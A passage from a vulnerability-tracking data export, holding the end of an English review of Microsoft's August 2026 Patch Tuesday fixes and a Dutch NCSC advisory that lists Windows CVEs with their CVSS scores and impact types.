are relevant to your environment.\nLooking at the remaining Critical-rated patches, you are safe to ignore the scariest looking ones, including the CVSS 10\u2019s. These have already been mitigated by Microsoft and do not count towards today\u2019s total of 398. The iSCSI Target service, however, is a CVSS 9.8, but it\u2019s not installed by default. Microsoft notes a DHCP Server heap overflow and a SharePoint deserialization bug are both listed as \u201cexploitation more likely\u201d. That SharePoint bug brought two EoP siblings along for the ride. And what would a Patch Tuesday be without Preview Pane exploit vectors in Office components? There are many in August, although there are a few Office bugs listed as Critical but without the Preview Pane vector. Odd. Then there\u2019s the mid-tier pile no one is proud of, but everybody needs to patch anyway: AD CS, RRAS, SSTP, and a matched pair in Device Health Attestation, all leaning on higher attack complexity as their only saving grace. Consider this a coin flip, not a shield. The bug in RMCAST is unauthenticated but requires an adjacent attacker. The bug in Key Guard is a bit interesting, as it could lead to an attacker gaining Virtual Trust Level 1 (VTL1) privileges. The final Critical-rated bug is in the RDP client, but it requires a user to connect to a malicious RDP server.\nMoving on to the other code execution bugs, SharePoint alone accounts for seven of these, six of them the same deserialization-of-untrusted-data flaw repeated almost verbatim across different code paths, all needing only low-privilege auth and no interaction. The seventh is an input-validation miss that needs no auth at all, just a harder-to-pull-off attack chain. LDAP and SMBv3 each draw a matching pair of patches. The LDAP bugs are a heap overflow and a use-after-free, both needing a user to interact with something first; the SMBv3 pair is twin heap overflows. Visual Studio Code adds three of its own: missing authorization, OS command injection, and straight code injection, all requiring a user to open or run something. The AI-coding-tool-vuln-of-the-month tradition continues uninterrupted. The rest of the CVSS 8.1\u20138.8 tier is a grab bag with a common thread \u2014 LSASS and Exchange Server both go down to heap overflows with low-privilege access, Dynamics 365 On-Premises gets the SharePoint treatment (deserialization), and Active Directory Domain Services picks up a command-injection bug that needs a user's cooperation. Add one apiece for Teams, Power BI, Outlook, and a pair for Windows Media Foundation, plus a higher-complexity trio: RPC Runtime Library, Windows TCP/IP, and a second iSCSI Target Service bug. All needing unusual attack conditions to line up, which buys you a little time but not an excuse. Then the file-format mountain: seventeen Excel bugs, six in Access, four apiece in Office and Office Word, one plain Word, one PowerPoint, one .NET Core. Remote Desktop Client's other three bugs sit at a comparatively modest 7.5, but don't read too much comfort into that \u2014 all three need high attack complexity and user interaction, which is precisely the combination phishing campaigns are built to satisfy. Closing out RCE category, there are two more DNS Server bugs, a DHCP Client use-after-free needing local low-privilege access, a Universal Disk Format driver bug that requires physical media and a Windows Codecs Library.\nThere are nearly 180 privilege escalation bugs fixed this month, and as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. Believe it or not, that leaves only about 20 bugs to discuss. Access control keeps failing in the same places: SharePoint draws two EoPs, then contributes a third via server-side request forgery, and a fourth through cross-site scripting (XSS) that at least needs a user to click something first. Entra Connect adds a SQL injection, .NET Framework an incorrect-authorization bug, and Azure CycleCloud adds a missing-authorization flaw, That\u2019s five different products with the same underlying lesson about checking who\u2019s allowed to do what. Windows Telephony Service is the surprise repeat offender, landing four separate EoPs, but four bugs in one dusty legacy service in a single release is the kind of pattern that makes you wonder who's still dialing in. The rest is a genuine grab bag: Key Guard gets a heap overflow sitting on the trust chain below the OS, DHCP Client and Narrator Braille both fall to local low-privilege bugs, .NET picks up an uncaught exception that actually changes scope, .NET Framework adds a path-traversal bug requiring a click, GitHub Copilot and VS Code get an OS command injection needing the same, Azure Storage Explorer falls to XSS, Azure Monitor Agent and OneDrive for macOS both need high privileges just to start, which caps their real-world urgency, and Exchange Server closes it out with an SSRF bug whose blast radius Microsoft itself rates as confidentiality-only, no integrity or availability hit.\nThere are 11 SFB bugs this month, all Important, none exploited or publicly disclosed. Visual Studio Code accounts for four, Python extension included: one fails open outright, the other three trip on bad authorization checks \u2014 all need a click, which is a low bar in a tool people click through constantly. PowerShell adds a code-injection bypass, and Copilot Chat gets one as well. Exchange Server and Windows Defender Firewall Service both via have missing authorization bugs. The .NET service has a bug via HTTP request smuggling, Active Directory via weak encryption, and Schannel via bad signature verification. In the low individual urgency category, both Schannel and AD have bugs with  \u201cbroken crypto trust\u201d are worth a second look despite the low scores.\nLooking at the info disclosure bugs, and fortunately, the vast majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. There are few others of note. The CVSS 6.5 tier is the one with more bite: Windows DHCP Server alone accounts for eight of these, three more hit Remote Desktop Client, two hit SMB Client, two hit Excel, and singles land in PowerShell, .NET, Azure CycleCloud, two Dynamics products, SharePoint, Teams iOS, and VS Code. All are unauthenticated, network-reachable memory leaks, but DHCP Server picking up eight in one release is a pattern, not noise. Everything else sits at 5.5 or below and is almost entirely \"leaks unspecified memory contents,\" differing mainly by which component leaks it. Office file formats dominate with roughly twenty bugs split across Excel, Word, Office generically, Office Graphics, and PowerPoint. Win32k contributes four, NTFS five, GDI/GDI+ three, Event Logging and WMI two apiece, DWM Core two, AMD Zen two. The remaining singles clear out fine during a normal patch cycle without special urgency.\nMoving on to spoofing patches for August, SharePoint dominates with eleven bugs, mostly stored XSS letting an authenticated attacker spoof content, plus a mixed bag of deserialization, code injection, SSRF, and credential exposure at the low end. Outside SharePoint, Teams for Android/iOS gets a high-CVSS (8.8) XSS bug. Exchange Server gets one too. Windows NAT has a scope-changing origin-validation flaw reachable from an adjacent network, and Outlook closes it out with a credential-exposure spoofing bug.\nThere are 14 DoS bugs getting patched this month. NULL pointer dereferences dominate: TCP/IP, iSCSI Target Service, Windows Graphics Kernel, and Remote Registry Service (twice) all crash the same way, unauthenticated over the network. iSCSI Target Service adds a second DoS via heap overflow, with three hits total this release counting its RCE. Resource-exhaustion bugs cover .NET, RPC, DHCP Client, and Microsoft Identity - all unauthenticated, all just flood-and-crash. The rest need local or elevated access: Exchange Server, Windows Network File System, and path/link-resolution bug in Windows Management Services. In other words, nothing exotic. Just patch it in the normal cycle, with a nod to Remote Registry Service and iSCSI Target Service for repeat appearances.\nFinally, there are a handful of tampering bugs receiving patches this month. They start with SharePoint via incorrect authorization. The Windows HTTP Protocol Stack has a bug via a partial string comparison flaw reachable from an adjacent network, and Windows Hello via cleartext storage of sensitive data locally. The Hello one is the one worth a second glance. Biometric auth storing something in the clear isn't a great look, even at a modest 5.5.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on September 8, just after Labor Day here is the US. I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-08-12T01:01:23.792646Z"}, {"uuid": "2b38bedf-1e7a-41da-b666-afb4ccb2ca3f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54125", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0231", "content": "Microsoft heeft een zeer groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de categorie\u00ebn schade, zoals genoemd in onderstaande tabel.\n\nDe ernstigste kwetsbaarheden hebben kenmerken **CVE-2026-49172, CVE-2026-56190, CVE-2026-54990, CVE-2026-49798, CVE-2026-50380, CVE-2026-50447, CVE-2026-50518, CVE-2026-56159, CVE-2026-56188 en CVE-2026-57092** toegewezen gekregen en bevinden zich in respectievelijk de FTP service, Remote Desktop (client en server), de Kernel, GDI+, Message Queuing Service, DHCP Server, Server Network Driver en VMSwitch.\nKwaadwillenden met toegang tot deze services kunnen zonder voorafgaande authenticatie mogelijk code uitvoeren of zich toegang verschaffen tot het kwetsbare systeem.\n\nNaast deze ernstige kwetsbaarheden zijn nog eens meer dan 400 kwetsbaarheden verholpen, allen varierend in ernstigheid van middelmatig tot hoog/kritiek.\n\nDoor de aard en omvang van deze updates, adviseert het NCSC om deze updates met voorrang in te zetten.\n\n```\nWindows Admin Center: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56169 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56185 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57107 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58631 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56196 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56197 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Management Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58544 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Audio Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34328 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50440 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58538 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Install Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50343 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nVirtual Hard Disk (VHD) Miniport Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58601 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50311 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Update Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50328 | 7.50 | Manipulatie van gegevens            | \n| CVE-2026-50444 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54107 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54986 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54112 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54114 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49805 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50297 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50325 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50416 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50489 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56184 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57095 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58632 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Terminal: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54124 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55003 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57979 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50376 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50445 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54126 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56190 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57982 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58533 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58535 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58546 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58539 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58594 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Internet Key Exchange (IKE) Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50696 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nQuality Windows Audio/Video Experience (QWAVE) service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54989 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows RPC API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50365 | 8.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nReliable Multicast Transport Driver (RMCAST): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54982 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54995 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Kernel Mode Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58602 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Service Infrastructure: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56647 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Trusted Runtime Interface Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50350 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50363 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50434 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50339 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50430 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50697 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nContent Delivery Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50427 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows LUAFV: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50371 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows App Store: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42900 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49165 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49784 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50356 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49174 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50295 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50465 | 7.10 | Manipulatie van gegevens            | \n| CVE-2026-50495 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50487 | 8.10 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Data.dll: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50347 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Boot Loader: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58638 | 6.00 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows VMSwitch: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57092 | 9.90 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Connection Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50666 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Input Method Editor (IME): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58534 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Search Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50373 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50679 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49164 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-57976 | 6.50 | Denial-of-Service                   | \n| CVE-2026-49178 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50366 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Routing and Remote Access Service (RRAS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49791 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50451 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57096 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRole: DNS Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49169 | 8.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-50426 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58640 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-49184 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49789 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49797 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50308 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50412 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50386 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50309 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50313 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50341 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50388 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50448 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50471 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50422 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50402 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50461 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50417 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50482 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-50494 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50667 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50668 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50672 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56182 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Overlay Filter: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54987 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50435 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50409 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Notification: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50337 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50334 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Backup Engine: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50406 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Image Acquisition: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50315 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Media Foundation: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54993 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58610 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56189 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57090 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57094 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57087 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Schannel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56186 | 8.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Address Translation (NAT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56181 | 8.30 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nCode Integrity DLL (ci.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50491 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Hub Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50479 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48564 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50370 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50518 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50685 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-50683 | 8.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56159 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58627 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows App Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48572 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-48571 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50400 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58526 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Virtual Filtering Platform (VFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50432 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49787 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50420 | 6.20 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Networking: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58628 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50437 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Storage Spaces Direct: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49168 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50299 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Codecs Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57083 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows User Interface Core: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50454 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Internal Task Bar: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50293 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34346 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50312 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50462 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57093 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Redirected Drive Buffering: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50372 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50447 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50505 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Application Model: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50331 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Certificate Services (AD CS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54121 | 8.80 | Verkrijgen van verhoogde rechten    | 